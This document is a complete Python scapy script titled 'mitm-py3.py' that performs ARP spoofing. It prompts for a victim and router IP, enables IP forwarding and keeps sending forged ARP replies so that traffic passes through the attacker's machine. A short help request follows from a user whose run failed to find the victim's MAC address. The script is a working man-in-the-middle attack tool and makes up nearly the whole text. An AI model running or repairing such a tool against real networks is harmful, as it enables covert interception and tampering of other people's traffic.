mitm-py3.py

# Created by - unknown
# python3
from scapy.all import *
import sys
import os
import time

try:
    interface = input("[*] Enter Desired Interface: ")
    victimIP = input("[*] Enter Victim IP: ")
    gateIP = input("[*] Enter Router IP: ")
except KeyboardInterrupt:
    print("\n[*] User Requested Shutdown")
    print("[*] Exiting...")
    sys.exit(1)

print("\n[*] Enabling IP Forwarding...\n")
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")


def get_mac(IP):
    conf.verb = 0
    ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=IP), timeout=2, iface=interface, inter=0.1)
    for snd, rcv in ans:
        return rcv.sprintf(r"%Ether.src%")


def reARP():
    print("\n[*] Restoring Targets...")
    victimMAC = get_mac(victimIP)
    gateMAC = get_mac(gateIP)
    send(ARP(op=2, pdst=gateIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=7)
    send(ARP(op=2, pdst=victimIP, psrc=gateIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateMAC), count=7)
    print("[*] Disabling IP Forwarding...")
    os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
    print("[*] Shutting Down...")
    sys.exit(1)


def trick(gm, vm):
    send(ARP(op=2, pdst=victimIP, psrc=gateIP, hwdst=vm))
    send(ARP(op=2, pdst=gateIP, psrc=victimIP, hwdst=gm))


def mitm():
    try:
        victimMAC = get_mac(victimIP)
    except Exception:
        os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
        print("[!] Couldn't Find Victim MAC Address")
        print("[!] Exiting...")
        sys.exit(1)
    try:
        gateMAC = get_mac(gateIP)
    except Exception:
        os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
        print("[!] Couldn't Find Gateway MAC Address")
        print("[!] Exiting...")
        sys.exit(1)
    print("[*] Poisoning Targets...")
    while 1:
        try:
            trick(gateMAC, victimMAC)
            time.sleep(1.5)
        except KeyboardInterrupt:
            reARP()
            break


mitm()

Hi,
I have a question about mitm-py3.py.
The program shows me error:
[!] Couldn't Find Victim MAC Address
[!] Exiting...
I don't know if it's because of wrong interface name(I used name: Wi-Fi) or it's another problem.
Please help.
Lukas Juranek